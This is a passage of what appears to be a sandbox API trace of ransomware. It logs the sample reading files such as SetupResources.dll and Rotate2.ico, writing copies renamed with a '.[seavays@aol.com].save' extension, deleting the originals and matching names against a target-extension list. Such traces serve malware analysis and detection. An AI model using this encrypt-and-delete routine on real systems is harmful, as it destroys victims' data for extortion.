1 [0051.121] CloseHandle (hObject=0x2f0) returned 1 [0051.123] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.123] SetEndOfFile (hFile=0x2fc) returned 1 [0051.123] CloseHandle (hObject=0x2fc) returned 1 [0051.124] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0051.124] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll")) returned 1 [0051.124] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0051.124] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0051.124] lstrlenW (lpString=".doc") returned 4 [0051.124] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0051.124] lstrlenW (lpString=".docx") returned 5 [0051.124] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0051.124] lstrlenW (lpString=".pdf") returned 4 [0051.124] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0051.124] lstrlenW (lpString=".xls") returned 4 [0051.124] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0051.124] lstrlenW (lpString=".xlsx") returned 5 [0051.125] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0051.125] lstrlenW (lpString=".ppt") returned 4 [0051.125] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0051.125] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0051.125] lstrlenW (lpString=".zip") returned 4 [0051.125] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0051.125] lstrlenW (lpString=".rar") returned 4 [0051.125] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0051.125] lstrlenW (lpString=".bz2") returned 4 [0051.125] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0051.125] lstrlenW (lpString=".7z") returned 3 [0051.125] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0051.125] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0051.125] lstrlenW (lpString=".dbf") returned 4 [0051.125] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0051.125] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0051.125] lstrlenW (lpString=".1cd") returned 4 [0051.125] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0051.125] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0051.125] lstrlenW (lpString=".jpg") returned 4 [0051.125] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0051.125] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0051.125] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0051.125] lstrlenW (lpString=".doc") returned 4 [0051.125] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0051.125] lstrlenW (lpString=".docx") returned 5 [0051.125] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0051.125] lstrlenW (lpString=".pdf") returned 4 [0051.125] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0051.125] lstrlenW (lpString=".xls") returned 4 [0051.125] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0051.172] lstrlenW (lpString=".xlsx") returned 5 [0051.172] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0051.172] lstrlenW (lpString=".ppt") returned 4 [0051.172] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0051.172] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0051.172] lstrlenW (lpString=".zip") returned 4 [0051.172] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0051.172] lstrlenW (lpString=".rar") returned 4 [0051.172] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0051.172] lstrlenW (lpString=".bz2") returned 4 [0051.172] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0051.172] lstrlenW (lpString=".7z") returned 3 [0051.172] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0051.172] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0051.172] lstrlenW (lpString=".dbf") returned 4 [0051.172] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0051.173] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0051.173] lstrlenW (lpString=".1cd") returned 4 [0051.173] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0051.173] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0051.173] lstrlenW (lpString=".jpg") returned 4 [0051.173] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0051.173] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0051.173] lstrlenW (lpString="SetupResources.dll") returned 18 [0051.173] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0051.173] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=18264) returned 1 [0051.173] CloseHandle (hObject=0x2fc) returned 1 [0051.173] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll")) returned 0x80 [0051.173] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0051.173] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0051.174] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.174] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.174] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0051.175] GetLastError () returned 0x0 [0051.175] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x4758, lpOverlapped=0x0) returned 1 [0051.177] WriteFile (in: hFile=0x2f0, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x4760, lpOverlapped=0x0) returned 1 [0051.178] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0051.178] WriteFile (in: hFile=0x2f0, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0xf8, lpOverlapped=0x0) returned 1 [0051.178] SetEndOfFile (hFile=0x2f0) returned 1 [0051.178] CloseHandle (hObject=0x2f0) returned 1 [0051.179] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.179] SetEndOfFile (hFile=0x2fc) returned 1 [0051.180] CloseHandle (hObject=0x2fc) returned 1 [0051.180] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0051.181] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll")) returned 1 [0051.181] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0051.181] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0051.181] lstrlenW (lpString=".doc") returned 4 [0051.181] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0051.181] lstrlenW (lpString=".docx") returned 5 [0051.181] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0051.181] lstrlenW (lpString=".pdf") returned 4 [0051.181] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0051.181] lstrlenW (lpString=".xls") returned 4 [0051.181] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0051.181] lstrlenW (lpString=".xlsx") returned 5 [0051.181] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0051.181] lstrlenW (lpString=".ppt") returned 4 [0051.181] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0051.181] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0051.181] lstrlenW (lpString=".zip") returned 4 [0051.181] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0051.181] lstrlenW (lpString=".rar") returned 4 [0051.181] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0051.181] lstrlenW (lpString=".bz2") returned 4 [0051.181] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0051.181] lstrlenW (lpString=".7z") returned 3 [0051.181] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0051.181] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0051.182] lstrlenW (lpString=".dbf") returned 4 [0051.182] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0051.182] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0051.182] lstrlenW (lpString=".1cd") returned 4 [0051.182] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0051.182] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0051.182] lstrlenW (lpString=".jpg") returned 4 [0051.182] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0051.182] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0051.182] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0051.182] lstrlenW (lpString=".doc") returned 4 [0051.182] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0051.182] lstrlenW (lpString=".docx") returned 5 [0051.182] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0051.182] lstrlenW (lpString=".pdf") returned 4 [0051.182] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0051.182] lstrlenW (lpString=".xls") returned 4 [0051.182] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0051.182] lstrlenW (lpString=".xlsx") returned 5 [0051.182] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0051.182] lstrlenW (lpString=".ppt") returned 4 [0051.182] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0051.182] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0051.182] lstrlenW (lpString=".zip") returned 4 [0051.182] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0051.182] lstrlenW (lpString=".rar") returned 4 [0051.182] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0051.182] lstrlenW (lpString=".bz2") returned 4 [0051.182] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0051.182] lstrlenW (lpString=".7z") returned 3 [0051.182] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0051.182] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0051.182] lstrlenW (lpString=".dbf") returned 4 [0051.182] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0051.183] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0051.183] lstrlenW (lpString=".1cd") returned 4 [0051.183] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0051.183] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0051.183] lstrlenW (lpString=".jpg") returned 4 [0051.183] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0051.183] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0051.183] lstrlenW (lpString="SetupResources.dll") returned 18 [0051.183] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0051.183] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=18264) returned 1 [0051.183] CloseHandle (hObject=0x2fc) returned 1 [0051.183] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll")) returned 0x80 [0051.183] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0051.183] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0051.183] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.184] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.184] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0052.117] GetLastError () returned 0x0 [0052.117] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x4758, lpOverlapped=0x0) returned 1 [0052.119] WriteFile (in: hFile=0x31c, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x4760, lpOverlapped=0x0) returned 1 [0052.120] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.121] WriteFile (in: hFile=0x31c, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0xf8, lpOverlapped=0x0) returned 1 [0052.121] SetEndOfFile (hFile=0x31c) returned 1 [0052.121] CloseHandle (hObject=0x31c) returned 1 [0052.122] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.122] SetEndOfFile (hFile=0x2fc) returned 1 [0052.123] CloseHandle (hObject=0x2fc) returned 1 [0052.123] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.124] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll")) returned 1 [0052.124] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0052.124] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0052.124] lstrlenW (lpString=".doc") returned 4 [0052.124] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0052.124] lstrlenW (lpString=".docx") returned 5 [0052.124] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0052.124] lstrlenW (lpString=".pdf") returned 4 [0052.124] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0052.124] lstrlenW (lpString=".xls") returned 4 [0052.124] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0052.124] lstrlenW (lpString=".xlsx") returned 5 [0052.124] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0052.124] lstrlenW (lpString=".ppt") returned 4 [0052.124] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0052.124] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0052.124] lstrlenW (lpString=".zip") returned 4 [0052.124] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0052.124] lstrlenW (lpString=".rar") returned 4 [0052.124] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0052.124] lstrlenW (lpString=".bz2") returned 4 [0052.124] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0052.124] lstrlenW (lpString=".7z") returned 3 [0052.124] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0052.125] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0052.125] lstrlenW (lpString=".dbf") returned 4 [0052.125] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0052.125] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0052.125] lstrlenW (lpString=".1cd") returned 4 [0052.125] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0052.125] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0052.125] lstrlenW (lpString=".jpg") returned 4 [0052.125] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0052.125] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0052.125] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0052.125] lstrlenW (lpString=".doc") returned 4 [0052.125] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0052.125] lstrlenW (lpString=".docx") returned 5 [0052.125] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0052.125] lstrlenW (lpString=".pdf") returned 4 [0052.125] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0052.125] lstrlenW (lpString=".xls") returned 4 [0052.125] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0052.125] lstrlenW (lpString=".xlsx") returned 5 [0052.125] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0052.125] lstrlenW (lpString=".ppt") returned 4 [0052.125] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0052.125] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0052.125] lstrlenW (lpString=".zip") returned 4 [0052.125] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0052.125] lstrlenW (lpString=".rar") returned 4 [0052.125] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0052.125] lstrlenW (lpString=".bz2") returned 4 [0052.125] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0052.125] lstrlenW (lpString=".7z") returned 3 [0052.125] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0052.125] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0052.126] lstrlenW (lpString=".dbf") returned 4 [0052.126] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0052.126] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0052.126] lstrlenW (lpString=".1cd") returned 4 [0052.126] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0052.126] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0052.126] lstrlenW (lpString=".jpg") returned 4 [0052.126] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0052.126] lstrcmpiW (lpString1=".ico", lpString2=".save") returned -1 [0052.126] lstrlenW (lpString="Rotate2.ico") returned 11 [0052.126] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0052.126] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=894) returned 1 [0052.126] CloseHandle (hObject=0x2fc) returned 1 [0052.126] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico")) returned 0x80 [0052.126] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.126] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0052.127] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.127] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.127] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0052.127] GetLastError () returned 0x0 [0052.127] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x37e, lpOverlapped=0x0) returned 1 [0052.129] WriteFile (in: hFile=0x31c, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x380, lpOverlapped=0x0) returned 1 [0052.130] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.130] WriteFile (in: hFile=0x31c, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0xea, lpOverlapped=0x0) returned 1 [0052.130] SetEndOfFile (hFile=0x31c) returned 1 [0052.131] CloseHandle (hObject=0x31c) returned 1 [0052.131] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.131] SetEndOfFile (hFile=0x2fc) returned 1 [0052.132] CloseHandle (hObject=0x2fc) returned 1 [0052.132] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.132] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico")) returned 1 [0052.133] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0052.133] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0052.133] lstrlenW (lpString=".doc") returned 4 [0052.133] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0052.133] lstrlenW (lpString=".docx") returned 5 [0052.133] lstrcmpiW (lpString1=".docx", lpString2="2.ico") returned -1 [0052.133] lstrlenW (lpString=".pdf") returned 4 [0052.133] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0052.133] lstrlenW (lpString=".xls") returned 4 [0052.133] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0052.133] lstrlenW (lpString=".xlsx") returned 5 [0052.133] lstrcmpiW (lpString1=".xlsx", lpString2="2.ico") returned -1 [0052.133] lstrlenW (lpString=".ppt") returned 4 [0052.133] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0052.133] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0052.133] lstrlenW (lpString=".zip") returned 4 [0052.133] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0052.133] lstrlenW (lpString=".rar") returned 4 [0052.133] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0052.133] lstrlenW (lpString=".bz2") returned 4 [0052.133] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0052.133] lstrlenW (lpString=".7z") returned 3 [0052.133] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0052.133] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0052.133] lstrlenW (lpString=".dbf") returned 4 [0052.133] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0052.133] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0052.133] lstrlenW (lpString=".1cd") returned 4 [0052.134] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0052.134] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0052.134] lstrlenW (lpString=".jpg") returned 4 [0052.134] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0052.134] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0052.134] lstrlenW 